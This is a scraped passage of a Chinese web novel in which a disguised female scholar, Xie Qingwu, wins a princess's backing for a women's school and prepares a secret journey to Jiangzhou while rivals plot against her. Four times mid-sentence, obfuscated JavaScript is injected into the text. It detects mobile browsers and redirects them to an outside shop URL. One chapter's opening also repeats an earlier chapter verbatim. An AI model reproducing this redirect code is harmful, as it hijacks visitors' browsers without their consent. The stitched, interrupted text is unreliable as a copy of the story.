教了一个时辰,粥熬好了。孩子们欢呼着跑去排队,谢青梧帮着分粥。一碗碗热腾腾的米粥递出去,换来一声声稚嫩的“谢谢先生”。 忙到快晌午时,门外忽然传来马蹄声。老嬷嬷脸色一变:“快,收拾收拾,公主来了!” 院子里顿时忙碌起来。孩子们被领回屋,桌椅摆正,地上的杂物迅速清走。谢青梧跟着众人站在院门两侧,垂首等候。 马蹄声停在门外。先是一个管事太监进来,扫视一圈,然后侧身让开。一位身着淡紫宫装的女子缓步走进来,身后跟着两名宫女。 这就是三公主萧玉衡。 谢青梧垂着眼,只看见一双绣着银线的宫鞋从面前走过。公主的脚步声很轻,停在院子中央。 “都起来吧。”声音清润,带着些许威严。 众人起身。谢青梧这才抬眼看去,公主约莫十七八岁,眉眼清丽,但神色间有种超越年龄的沉稳。她没戴多少首饰,只一支白玉簪绾发,更显得气质出尘。 “今日粥可够?”萧玉衡问老嬷嬷。 “回公主,够的,还多备了十斤米。” “嗯。”公主点点头,目光扫过院子,最后落在谢青梧身上,“这位是……” 老嬷嬷忙道:“这是谢公子,今儿来帮忙教孩子们认字的。” 萧玉衡的目光在她身上停留片刻:“谢怀瑾?” 谢青梧躬身:“学生见过公主。” “本宫读过你的文章。”萧玉衡淡淡道,“那篇论女子入学的,写得不错。” 这话说得随意,但谢青梧心里一紧。公主果然知道她,而且特意提起那篇文章。 “学生拙作,让公主见笑了。” “见笑倒不至于。”萧玉衡走到棚子下,看着沙盘上孩子们写的字,“这些字是你教的?” “是。” “教得挺好。”公主拿起一根木棍,在沙盘上写了个“安”字,“平安的安。这个字简单,寓意也好。你可以教他们这个。” 谢青梧看着她写字的姿势,很标准,是受过良好教育的。而且公主亲自示范,说明她真在乎这些孩子学什么。 “学生记下了。” 萧玉衡放下木棍,转过身看着她:“谢公子今日来慈济堂,是偶然还是有意?” 这话问得直接。谢青梧顿了顿:“是有意。学生听说慈济堂收容孤寡、施教助学,心生敬佩,故来帮忙。” “只是帮忙?”公主挑眉,“没有别的想法?” 院子里安静下来。老嬷嬷和几个妇人都低下头,装作忙碌。 谢青梧抬眼,直视公主:“若说完全没有,那是欺瞒。学生确实想见公主一面。” “为何?” “因为公主做的事,学生佩服。”谢青梧坦然道,“这慈济堂,这施教助学,不是摆样子。公主是真想为百姓做点事。” 萧玉衡笑了,这次是真心的笑:“你倒敢说。不过你说得对,本宫做这些,不是为了沽名钓誉。” 她走到院中的石凳上坐下,示意谢青梧也坐:“既然来了,聊聊吧。你那篇文章里说,女子识字有益家国。具体说说,怎么个有益法?” 这是考校了。谢青梧在她对面坐下,略一思索:“学生以为,益处有三。” “其一,女子识字能理家。记账、管家、教子,都需要识字。一个识字的主母,能把家管得更好。” “其二,女子识字能传承。母亲是孩子的第一任先生,若母亲识字,孩子启蒙就早,成才的机会也大。” “其三……”她顿了顿,“女子识字能自立。若遇变故,不至于任人摆布。” 萧玉衡静静听着,手指轻轻敲着石桌:“第三点,你写文章时可没说得这么直白。” “当时有所顾忌。” “现在为何不忌了?” “因为面对的是公主。”谢青梧道,“公主办慈济堂、收容孤寡女子,想必明白女子若无依无靠,处境有多艰难。” 萧玉衡沉默片刻:“你说得对。本宫见过太多女子,丈夫一死,家产被夺,只能流落街头。若有识字之能,至少能当个账房、绣娘,养活自己。” 她看着谢青梧:“但这世道,女子要自立,难。别说自立,就是想读书,都有人指指点点。” “所以才需要有人先做。”谢青梧道,“公主已经在做了。这慈济堂里教女子识字,就是开端。” “开端容易,坚持难。”萧玉衡叹气,“朝中那些老臣,整日说什么‘牝鸡司晨’‘有违礼教’。本宫每做一件事,都有人上书弹劾。” 这话说得推心置腹。谢青梧心里明白,公主这是在试探,试探她的态度,也试探她的胆量。 “学生以为,”她缓缓道,“做事总会有人反对。关键是做的事对不对,有没有用。若是对的、有用的,就该坚持。” “哪怕得罪人?” “不得罪人,做不成事。” 萧玉衡盯着她看了许久,忽然道:“谢怀瑾,你知道本宫为何关注你吗?” “学生不知。” “因为你敢说真话。”公主站起身,“朝中那些人,要么阿谀奉承,要么明哲保身。敢像你这样说话的,不多。” 她走到院中的老槐树下,仰头看着枝叶:“本宫有个想法,想办个女学,专门教女子读书识字。但阻力太大,一直没能成。” 谢青梧心头一跳。女学,这正是她心中所想。 “公主若真想办,学生愿尽绵薄之力。” 萧玉衡回头看她:“你?一个举人,无权无势,能做什么?” “学生可以教书。”谢青梧道,“也可以写文章,为女学正名。还可以联络志同道合之人,一起推动。” “志同道合……”公主轻笑,“你觉得,这京城里,有多少人真正认同女子该读书?” “不多,但总有。”谢青梧想起严博士,想起徐博士,想起那些在慈济堂教字的妇人,“星火虽微,可以燎原。” “又是星火。”萧玉衡眼神复杂,“你这把火,烧得倒是旺。” 她走回石桌前:“本宫可以给你一个机会。明年春,慈济堂会开个识字班,专门收女子。你来教,如何?” “学生愿意。” “但有个条件。”公主正色道,“这事不能声张。对外就说,是教慈济堂的孤儿识字。若有人问起,就说本宫怜惜孤儿,与你无关。” 这是在保护她。谢青梧心里清楚,躬身道:“学生明白。” “明白就好。”萧玉衡从袖中取出一枚玉佩,递过来,“这个你拿着。若遇到麻烦,可持此玉佩来公主府。” 谢青梧接过。玉佩温润,刻着简单的云纹,没有公主印记,但质地极好。 “多谢公主。” “不必谢。”萧玉衡摆摆手,“本宫帮你,也是在帮自己。你若真能把女学办起来,对本宫也是好事。” 她说得坦诚。谢青梧喜欢这种坦诚,不虚伪,不掩饰,各取所需,但目标一致。 正说着,管事太监匆匆进来,在公主耳边低语几句。萧玉衡脸色微变,但很快恢复平静。 “本宫有事,先走了。”她起身,“谢公子,记住今日的话。女学之事,徐徐图之,不可急躁。” “学生谨记。” 公主一行人匆匆离去。院子里又恢复了忙碌,但气氛明显不同了,老嬷嬷看谢青梧的眼神多了几分恭敬,孩子们也围上来,七嘴八舌地问:“先生,公主跟你说了什么呀?” “公主夸你们字写得好。”谢青梧摸摸小草的头,“要继续努力。” 她在慈济堂待到傍晚,又教孩子们认了几个字,帮忙收拾了院子,才告辞离开。 走出巷子时,天色已暗。她没急着回住处,在街边慢慢走,想着今天的事。 公主比她想象的更务实,也更果断。女学的事,公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946686|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主想了很久,只是缺一个契机,缺一个敢出头的人。 现在,她成了那个人。 正想着,身后传来脚步声。谢青梧警觉地回头,却看见一个熟悉的身影——是云知意,披着斗篷,从暗处走出来。 “云姑娘?”她讶然,“你怎么在这儿?” “路过。”云知意走到她身边,语气平静,“听说你今天去慈济堂了?” “是。” “见到公主了?” “见到了。” 云知意点点头:“公主给了你玉佩?” 谢青梧一怔。这事才发生几个时辰,云知意就知道了? “云姑娘消息真灵通。” “乐坊那种地方,什么消息都有。”云知意淡淡道,“公主的玉佩,收好。那是护身符,也是催命符。” “姑娘何出此言?” “因为公主给你玉佩,就等于告诉某些人,你是她的人了。”云知意看着她,“太子、二皇子,还有其他盯着公主的人,都会注意到你。往后,你的麻烦会更多。” 谢青梧沉默。这点她想到了,但从云知意嘴里说出来,更觉沉重。 “但这也是机会。”云知意话锋一转,“有公主庇护,至少刘瑾那种人不敢明着动你。至于暗箭……总比明枪好防。” 两人并肩走着,月光把影子拉得很长。 “云姑娘,”谢青梧忽然问,“你为何这么帮我?” 云知意脚步一顿,随即又继续走:“我说过,因为你和他们不一样。” “就因为这个?” “这个还不够吗?”云知意笑了,笑容在月光下有些朦胧,“这京城里,真心人太少了。能多一个,总是好的。” 她停下脚步:“到了,前面就是你住处。我就不送了。” 谢青梧这才发现,不知不觉已经走到她住的巷子口。 “多谢云姑娘。” “别总谢来谢去的。”云知意摆摆手,“记着,春风阁的门,随时为你开着。若真遇到难处,来找我。” 她转身要走,又回头:“对了,江州那边……好像有点动静。你兄长谢明远,最近和扬州王家走得很近。你自己小心。” 说完,她快步离去,很快消失在夜色中。 谢青梧站在巷口,许久没动。 江州、谢明远、王家……这些事像一团乱麻,缠在一起。 但她现在没时间去理。眼前最重要的是女学,是公主交代的事。 回到住处,慕容芷迎上来:“公子,有封信,江州来的。” 谢青梧接过信,拆开一看,是周子砚写的。信里说,谢明远最近频繁去扬州,好像在谈什么生意。还听说,王家在打听她的消息,特别是她生母的事。 信的最后,周子砚写道:“怀瑾,京城水深,务必小心。若需要帮忙,随时来信。” 她把信烧了,坐在灯下发呆。 所有线索都指向一点,谢明远和王家勾结,想找她的把柄。而生母,可能就是突破口。 她生母到底有什么秘密? 正想着,院门又被敲响了。这次来的是李慕白,一脸焦急。 “谢兄,出事了!” “怎么了?” “刘瑾……刘瑾在到处说,你攀附公主,想走捷径。”李慕白喘着气,“还说你在慈济堂故意偶遇公主,心思不正。现在好些举人都在议论……” 消息传得真快。谢青梧冷笑,刘瑾这是急了。 “让他们说去吧。”她淡淡道,“清者自清。” “可是谢兄,人言可畏啊!”李慕白急道,“尤其是那些寒门举人,最恨攀附权贵之辈。你这么一弄,往后在士林里……” “李兄,”谢青梧打断他,“我问你,若我真想攀附权贵,该去攀附谁?” 李慕白一愣。 “太子?二皇子?还是其他权臣?”谢青梧道,“公主虽尊贵,但毕竟是女子,在朝中并无实权。攀附她,算什么捷径?” 这话点醒了李慕白。是啊,公主再尊贵,也管不了科举,给不了官位。攀附她,确实不算聪明选择。 “那刘瑾为何这么说?” “因为他想坏我名声。”谢青梧道,“我名声坏了,就没人信我的话。我说的那些女子该读书、寒门该出头的话,也就没人听了。” 李慕白恍然大悟:“原来如此!那咱们得反击!” “不急。”谢青梧摇头,“现在反击,正中他下怀。让他说,说得越多,暴露得越多。” “可……” “李兄放心。”谢青梧拍拍他的肩,“我自有分寸。” 送走李慕白,夜色已深。谢青梧独自站在院里,看着天上那轮明月。 前路艰难,但她已经踏上了这条路。 不能回头,也不想回头。 21. 雪夜定策 腊月二十八的雪下了一夜,到天明时还未停。 谢青梧屋里的灯也亮了一夜。 桌上摊着本林家旧账,纸页泛黄,墨迹深深浅浅。她一个字一个字看过去,指尖在“铁器”“私矿”“北边”几个词上来回摩挲,越看心越沉。 王家胆子太大了。 走私铁器是死罪,私开矿脉是死罪,若是真和北边有勾连……那是诛九族的罪。 账本里还夹着几张零散单子,记着些银钱往来,其中一条写着“腊月初八,付周氏五十两,封口”。周氏,该是乳娘。 谢青梧放下账本,走到窗边。 雪光映进屋里,照着她一夜未眠的脸。十五岁的年纪,眉眼间却已没了少女稚气,只剩一片沉静的冷。 生母林氏,江州林家大小姐。 林家二十年前败落,说是生意失败,家破人亡。可若王家真做了那些事,林家一个商贾之家,怎会突然就败了?又败得那么巧,刚好在王家的罪证可能出现的时候? 乳娘周氏是关键。 她知道内情,甚至可能握着更直接的证据。所以谢明远才急着要找她,所以王家才要付钱封口。 “不能等了。”谢青梧轻声说。 等过了年,等春闱,等站稳脚跟?等不起。谢明远既然已经动手,就不会给她喘息的时间。王家若知道账本在她手里,更不会放过她。 南下江州,找到乳娘,拿到铁证。 然后在春闱之前,把刀架在谢明远和王家脖子上,让他们不敢妄动。 她走回桌边,铺纸研墨。 写给云知意的信不能太长,但要把意思说明白。她需要南下路线,需要江州的接应,需要有人在她离京期间,替她盯着京里的动静。 笔尖沾墨,落下第一行字。 “云姑娘台鉴:怀瑾欲南下江州,寻故人,查旧事。事关重大,需姑娘相助……” 写到这里,她停了一下。 云知意身份不明,但至今给她的帮助都是实的。账本是真的,提醒是真的,但…… 该赌一把。 信写完,封好。她叫来李婶,让她悄悄去一趟春风阁。 “就说谢公子有急信,务必亲自交到云姑娘手里。” 李婶接过信,压低声音:“公子真要南下?这大年关的……” “越快越好。”谢青梧说,“你告诉云姑娘,若方便,我想在离京前见他一面。” 李婶应声去了。 屋里又只剩谢青梧一个人。她把账本重新收好,藏在床板下的暗格里。然后开始收拾行李。 不能带太多东西。一两件换洗衣裳,几本书,一些碎银和银票。防身的药粉要带,云知意给的烟雾丸也要带。还有顾临渊的玉佩、萧玉衡的玉佩,这些信物关键时刻或许有用。 收拾到一半,她忽然想起什么,从书箱最底下翻出一本旧册子。 是生母林氏留下的诗集,扉页上有一行小字:“愿吾女此生,不必藏锋,不必屈膝,堂堂正正立于天地间。” 她看着那行字,看了很久。 然后轻轻合上册子,放进贴身的内袋里。 窗外雪渐渐小了,天光透亮起来。 谢青梧推开窗,冷风夹着雪沫扑在脸上。她深吸一口气。 南下这条路不会好走。谢明远会察觉,王家会阻拦,路上不知有多少险。 但她必须走。 不仅要走,还要走得稳,走得快,走得让所有人都措手不及。 李婶午后回来了,带回云知意的口信。 “云姑娘说,明日未时,老地方见。还说……让公子万事小心,江州的水比想的还深。” 谢青梧点点头。 她还有一天时间准备。要去公主府辞行,要去国子监告假,还要把慈济堂女学的事暂时托付给严博士。 每一件事都不能露出破绽。 傍晚时分,雪完全停了。谢青梧换上厚袍子,揣着暖手炉,出了门。 公主府的门房认得她,很快引她进去。萧玉衡正在暖阁里看书,见她来了,放下书卷。 “谢公子来得巧,我刚得了一罐好茶。” 谢青梧行礼:“殿下,学生今日来,是有事相求。” 萧玉衡挑眉:“坐下说。” 暖阁里炭火正旺,茶香袅袅。谢青梧坐下,斟酌着开口:“学生想告假离京一阵子,回乡……寻访故人,查证一些家事。” 她说得含糊,但萧玉衡何等敏锐。 “和谢家有关?还是和你生母有关?” 谢青梧沉默片刻,点头:“都有。” 萧玉衡看着她,目光深深:“谢公子,你可知你如今是什么处境?秋闱第七,国子监听讲,多少双眼睛盯着你。这个时候离京,不是明智之举。” “学生知道。”谢青梧抬眼看她,眼神平静,“但有些事,不能等。” “哪怕可能误了春闱?” “若事情办成,春闱反而更稳。” 萧玉衡怔了一下,忽然笑了:“你倒是自信。”她端起茶盏,轻轻吹了吹,“要去哪里?多久?” “江州。快则一月,慢则两月,必在春闱前回来。” “江州……”萧玉衡重复着这两个字,手指在案上敲了敲,“王家的大本营。谢公子,你去那里,真的只是寻访故人?” 谢青梧没说话。 有些话不能说透,但彼此心里都明白。 萧玉衡看了她半晌,忽然起身走到里间,不多时拿了一个锦囊出来。 “这里有些盘缠,还有一枚令牌。”她把锦囊推过去,“凭这令牌,沿途驿站可以换马歇脚,必要时也能调用当地衙役。不算多,但够你应急。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946687|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢青梧起身要谢,被萧玉衡按住。 “不必谢我。”萧玉衡看着她,声音压低了些,“我帮你,是因为我看好你。但你也得答应我一件事。” “殿下请说。” “活着回来。”萧玉衡一字一句,“别折在江州。我还等着看你金殿夺魁,看我大燕出一个真正的寒门状元。” 谢青梧心头一热。 她郑重行礼:“学生谨记。” 从公主府出来,天已经黑了。街巷里灯笼次第亮起,映着未化的积雪,一片暖黄的光。 谢青梧走在雪地里,脚步很稳。 接下来要去国子监。告假的理由想好了,就说老家有长辈病重,需回去探望。严博士那边,得说实话,至少说一部分。 还有李慕白那几个同窗,也得打个招呼,免得他们担心。 一件事一件事来。 她抬头看了看夜空,雪后的星星格外地亮。 这条路,难走,但必须走,而且一定要走到头。 回到住处时,李婶已经备好了晚饭。简单的两菜一汤,热气腾腾。 谢青梧吃完,又坐到书桌前。 南下路线要规划,可能遇到的麻烦要预想,应对的法子要提前准备。她铺开一张纸,开始写写画画。 江州在东南,走陆路快,但容易暴露。走水路慢,但隐蔽。最好是先陆路到津门,再换船南下。 沿途经过哪些州县,哪里有驿站,哪里可能有关卡,都要记清楚。 还有身份。不能再用“谢怀瑾”这个名字,得换个假名,扮作游学的普通士子。路引云知意应该能帮忙弄到,但日常言行也得注意,不能露出破绽。 她写得专注,连炭盆里的火小了都没察觉。 直到更鼓声传来,已是二更天。 谢青梧放下笔,揉了揉发酸的手腕。纸上密密麻麻写满了字,条理清晰,步步为营。 该想的都想过了,该准备的都在准备。 剩下的,就是去做。 她吹灭灯,躺到床上。黑暗中,能听见窗外风吹过屋檐的轻响,还有远处隐约的梆子声。 明天见云知意,拿到路线和接头人。 后天去国子监告假,把慈济堂的事安排好。 大后天一早,离京。 时间很紧,但够了。 她闭上眼,脑子里却还在转。江州什么样?乳娘还认得她吗?王家到底藏着多少秘密? 想着想着,忽然又想起生母那本诗集。 “不必藏锋,不必屈膝……” 她轻轻念着这句话,嘴角微微扬起。 快了。 等从江州回来,等拿到该拿的东西,她就可以堂堂正正地,开始走自己的路了。 窗外,最后一盏灯笼也熄了。 雪又悄悄下了起来。 22. 公主辞行 第二天未时,谢青梧准时到了春风阁。 云知意已经在雅间里等着了。桌上摊着一张图舆,旁边放着几封密信。她今日穿了件素青的袄子,发间只簪一支木钗,比平时更显利落。 “公子坐。”云知意抬手示意,声音很轻,“时间紧,我们直说。” 谢青梧在她对面坐下。 图舆画的是从京城到江州的路线,陆路水路都标得清楚,哪些路段好走,哪些地方有哨卡,哪些驿站可靠,旁边用小字密密麻麻注着。 “两条路。”云知意指尖点在图舆上,“走陆路快,十五天能到江州,但关卡多,容易被人盯上。走水路慢,要二十天往上,但隐蔽,货船人多,好藏身。” 她抬头看谢青梧:“你怎么想?” 谢青梧仔细看着图舆,沉吟片刻:“先陆路到津门,再换船南下。陆路这段我骑马,快。到津门混进货船,走漕运,不容易查。” 云知意点头:“和我想的一样。”她从旁边拿起一封信,“这是给江州绸缎庄掌柜老何的密信,他是我的人。你到了江州,去城西永昌街第三家铺子,对上暗号‘林家旧缎可还有’,他答‘只剩一匹藏蓝色’,便是接上了。” 谢青梧接过信,收进怀里。 “还有这个。”云知意又推过来一个小布包,“里面有些碎银和铜钱,路上零用。另有一瓶药,治风寒外伤的。江州潮湿,你小心身子。” 谢青梧心里一暖:“云姑娘费心了。” “不必说这些。”云知意看着她,眼神复杂,“谢公子,江州不比京城。王家在那里经营了几十年,官府、商会、甚至街头巷尾的混混,都可能和他们有牵扯。你一个外乡人,又是读书人打扮,太显眼。” “我明白。”谢青梧说,“我会小心。” 云知意沉默了一会儿,忽然问:“公主那边,你说了吗?” “说了。殿下给了令牌,准了假。” “那就好。”云知意似乎松了口气,“有公主在后面,至少京里有人替你看着。”她顿了顿,声音压得更低,“还有一件事。” 谢青梧抬眼。 “陆执那边,我探到点风声。”云知意说,“他派去江州的人还没回来,但锦衣卫的线报系统比我们快。你南下的事,他迟早会知道。” 谢青梧皱眉:“他会拦我?” “不好说。”云知意摇头,“陆执这个人,心思深。他若想拦你,早该动了。现在不动,要么是还没查到关键,要么……是另有打算。” 她看着谢青梧:“总之,你提防着些。锦衣卫的手段,你知道的。” 谢青梧点头。 从春风阁出来时,已是申时。天色有些阴,像是又要下雪。 谢青梧揣着图舆和密信,慢慢往国子监走。 严博士今日在值房。见她来了,放下手里的书:“怀瑾?有事?” 谢青梧行了一礼,把想好的说辞讲了一遍:老家有长辈病重,需回去探望,约莫一两个月,春闱前一定赶回来。 严博士听了,沉吟半晌。 “怀瑾,你秋闱刚中,正是潜心备考的时候。”他语重心长,“这时候离京,实在不是明智之举。春闱在即,多少学子闭门苦读,你这一走……” “学生知道。”谢青梧垂眼,“但长辈病重,为人晚辈,不能不孝。学生保证,路上也会温书,绝不荒废学业。” 严博士看了她好一会儿,终于叹了口气。 “罢了,你是个有主意的。”他从抽屉里拿出纸笔,写了准假条,“早去早回。功课我让李慕白他们替你记着,回来补上。” “谢先生。” 从严博士值房出来,谢青梧又去找了李慕白。 几个同窗正在斋舍里温书,见她来了,都围上来。 “怀瑾,听说你要回乡?”李慕白问。 谢青梧点头:“家里有些事,回去一趟。” “什么时候走?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946688|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“后天一早。” 几个同窗都露出不舍的神色。李慕白拍了拍她肩膀:“路上小心。春闱可等着你呢,咱们说好要一起考中的。” 谢青梧笑笑:“一定。” 又说了会儿话,天色渐渐暗了。谢青梧告辞出来,走到国子监门口时,回头看了一眼。 朱红大门,金字匾额,来来往往的学子穿着青衫,捧着书卷。 这样的日子,她其实很喜欢。 但有些事,比读书更重要。 回到住处,李婶已经做好了晚饭。谢青梧吃完饭,开始收拾行装。 图舆要贴身带着,密信藏进书箱夹层。云知意给的药瓶和银子分开放,一部分随身,一部分藏在行李里。萧玉衡给的令牌用布包好,塞进腰带内侧。 还有那本生母的诗集,也贴身带着。 收拾得差不多时,李婶端着热水进来。 “公子,真要走了?”她眼眶有些红。 谢青梧接过热水:“嗯。李婶,我不在的时候,你照顾好家里。若有人问起,就说我回老家探亲,别的不知道。” “我晓得。”李婶擦擦眼睛,“公子路上一定要小心,吃好睡好,别亏待自己。” “我知道。” 夜里,谢青梧躺在床上,脑子里把明天要做的事又过了一遍。 先去慈济堂,和女学的孩子们告个别,把后面一个月的课托付给严博士找的女夫子。再去当铺把一些用不着的旧物当了,换些现钱。最后回来检查行李,早些休息。 然后就是后天一早,离京。 她闭上眼,深吸一口气。 南下这条路,难走。 但再难,也得走。 窗外风声渐起,吹得窗纸簌簌响。 谢青梧翻了个身,慢慢睡着了。 梦里依稀是江州的模样,小桥流水,青石板路,还有模糊的、记不清面容的生母。 以及,暗处随时可能伸出来的手。 23.疑心渐生 锦衣卫衙门后堂,陆执刚从宫里回来。 大氅上还沾着雪沫,他解了随手扔给亲卫,走到炭盆边烤手。屋里暖得有些燥,但他脸色还是冷的。 “大人。”门外有人低声唤。 “进。” 进来的是个穿青袍的缇骑,行礼后递上一封密报:“谢怀瑾今日去了春风阁,见了云知意。呆了约莫一个时辰。” 陆执接过密报,扫了一眼。 “说了什么?” “听不清。雅间隔音好,我们的人只在远处盯着。不过谢怀瑾出来时,怀里揣着东西,像是图舆。” 图舆。 陆执手指在桌沿敲了敲。 谢怀瑾要离京。 这个念头在他脑子里转了一圈,和之前的线索对上:去公主府辞行,去国子监告假,连慈济堂的女学都托付出去了。 走得这么急,是要去哪? “还有,”缇骑又说,“谢明远那边也动了。他府上的管家今日悄悄去了城西,见了王家一个账房。我们的人跟过去,听见他们说……要盯紧谢怀瑾。” 陆执抬眼。 谢明远和王家。 谢怀瑾的生母林家,二十年前败在王家手里。谢明远拿这个要挟谢怀瑾,如今谢怀瑾突然要离京…… 是去找证据,还是去寻人? 或者,两者都有。 “大人,要拦吗?”缇骑问。 陆执沉默了一会儿。 炭火噼啪响了一声。 “不拦。”他说,“派两个人,暗中跟着。别让他发现,也别让他出事。” 缇骑愣了一下:“大人,这……” “谢怀瑾这个人,”陆执看向窗外,“不简单。秋闱第七,国子监听讲,公主看重,云知意相助。一个寒门举子,哪来这么大本事?” 他顿了顿:“我倒要看看,他到底想干什么。” “是。” 缇骑退下了。 陆执坐回椅子上,拿起那封密报又看了一遍。谢怀瑾三个字写得工整,下面列着这几日的行踪:公主府,春风阁,国子监,慈济堂。 每一步都走得稳,也走得急。 像是背后有什么在追,又像是前面有什么在等。 他忽然想起那日在八仙楼外,雪地里,谢怀瑾回头看他那一眼。 平静,清醒,藏着东西。 当时只觉得这少年心思深,如今看来,恐怕比他想的还要深。 门外又有人来报。 “大人,江州那边的飞鸽传书到了。” 陆执接过小竹筒,倒出里面的纸条。展开一看,眉头就皱了起来。 江州锦衣卫报:王家近半年动作频繁,私矿又开了两处。另,有人在暗中打听一个姓周的老妇人,说是京城来的,现居周家村。 周氏。 谢怀瑾的乳娘。 陆执放下纸条,闭上眼睛。 所有线索都连上了。 谢怀瑾要去江州,找乳娘,查王家,翻二十年前的旧案。一个十五岁的少年,单枪匹马,要去碰江州的地头蛇。 胆子真大。 也真不要命。 他睁开眼,提笔写了两行字,装进另一个竹筒。 “传令江州卫所,留意一个叫谢怀瑾的举子。若有危险,暗中护着,别让他死了。” 顿了顿,又加一句:“别让他知道。” 亲卫接过竹筒,快步出去了。 屋里又静下来。 陆执走到窗边,推开一条缝。冷风灌进来,吹散了屋里的燥热。 雪还在下,细细密密的。 他忽然想起自己十五岁的时候,刚进锦衣卫,也是天不怕地不怕,觉得凭一把刀就能闯天下。 后来才知道,这世上的事,不是光有胆子就够的。 谢怀瑾有胆子,也有脑子。 但江州那潭水,太深了。 他关上门,走回案前。桌上堆着还没批完的卷宗,都是各地的密报,一条条,一件件,织成一张看不见的网。 谢怀瑾正往网里走。 而他,在网外看着。 谢府书房,谢明远也在看密报。 王管家垂手站在下面,大气不敢出。 “走了?”谢明远抬眼,眼神阴沉。 “是,少爷。谢怀瑾后日一早就走,说是回老家探亲。”王管家低声说,“但小人打听过了,他老家早就没人了。探什么亲?” 谢明远冷笑。 “探亲是假,南下是真。”他把密报扔在桌上,“王家那边怎么说?” “王家老爷说,让咱们务必盯紧,弄清楚他去哪,干什么。江州那边,他们也会布置。” 谢明远点点头,手指在桌上敲着。 谢怀瑾突然离京,绝不是什么好事。这小子精得很,每一步都有算计。这次南下,肯定是冲着林家的事去的。 乳娘周氏还在江州。 要是让谢怀瑾找到她,问出当年的事…… 谢明远心里一紧。 不行,不能让他得逞。 “派两个人,跟着他。”他说,“不用跟太近,弄清楚他去哪就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948469|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。若是他真往江州去……” 他顿了顿,眼神狠起来:“就让他有去无回。” 王管家身子一颤:“少爷,这……谢怀瑾毕竟是举人,又是国子监的人,万一……” “万一什么?”谢明远盯着他,“江州那地方,山高路远,死个把人不奇怪。再说了,动手的是王家,关我们谢家什么事?” 王管家明白了,低头应道:“是,小人这就去安排。” “等等。”谢明远叫住他,“找可靠的人去。那个王癞子,不是一直想表现吗?让他去。” 王癞子是王家旁支的一个混混,心狠手辣,专干脏活。 用他,最合适。 王管家退下了。 书房里只剩谢明远一个人。他走到窗边,看着外面的雪。 谢怀瑾。 这个他从来没放在眼里的庶子,如今却成了心头刺。 秋闱中举,公主看重,连陆执都对他另眼相看。再这样下去,迟早要爬到谢家头上。 得在他羽翼未丰之前,拔了这根刺。 雪越下越大,盖住了庭院里的石板路,一片白茫茫的。 像是要把所有的痕迹都掩埋。 谢青梧对此一无所知。 她正在屋里检查最后一遍行李。图舆贴身放着,密信藏好了,银子分了三处,药瓶放在随手能拿到的地方。 一切都准备好了。 李婶红着眼眶站在门口:“公子,明早我给您煮碗面,吃了再走。” “好。”谢青梧笑笑,“李婶,你也早点歇着。” 夜深了。 谢青梧吹灭灯,躺在床上。眼睛闭着,脑子却清醒得很。 南下这条路,每一步都得算好。 从京城到津门,骑马三天。津门换船,顺漕运南下,大概十五天到江州。加起来,最快十八天。 十八天里,不能出一点差错。 谢明远肯定会派人盯梢,得想办法甩掉。王家在沿途可能有耳目,得小心避开。还有陆执,锦衣卫的线报系统厉害,说不定已经知道了。 她翻了个身,手摸到枕下的匕首。 冰冷的刀鞘,贴着掌心。 这是云知意给她的,说防身用。 希望用不上。 窗外风声紧了,吹得屋檐上的雪簌簌往下掉。 谢青梧听着那声音,慢慢闭上眼睛。 明天一早,天一亮就走。 离开京城,离开这些盯着她的眼睛,去江州,去找真相。 也去找一条,真正属于她的路。 24.辞别师友 第二天未时,谢青梧准时到了春风阁。 云知意已经在雅间里等着了。桌上摊着一张图舆,旁边放着几封密信。她今日穿了件素青的袄子,发间只簪一支木钗,比平时更显利落。 “公子坐。”云知意抬手示意,声音很轻,“时间紧,我们直说。” 谢青梧在她对面坐下。 图舆画的是从京城到江州的路线,陆路水路都标得清楚,哪些路段好走,哪些地方有哨卡,哪些驿站可靠,旁边用小字密密麻麻注着。 “两条路。”云知意指尖点在图舆上,“走陆路快,十五天能到江州,但关卡多,容易被人盯上。走水路慢,要二十天往上,但隐蔽,货船人多,好藏身。” 她抬头看谢青梧:“你怎么想?” 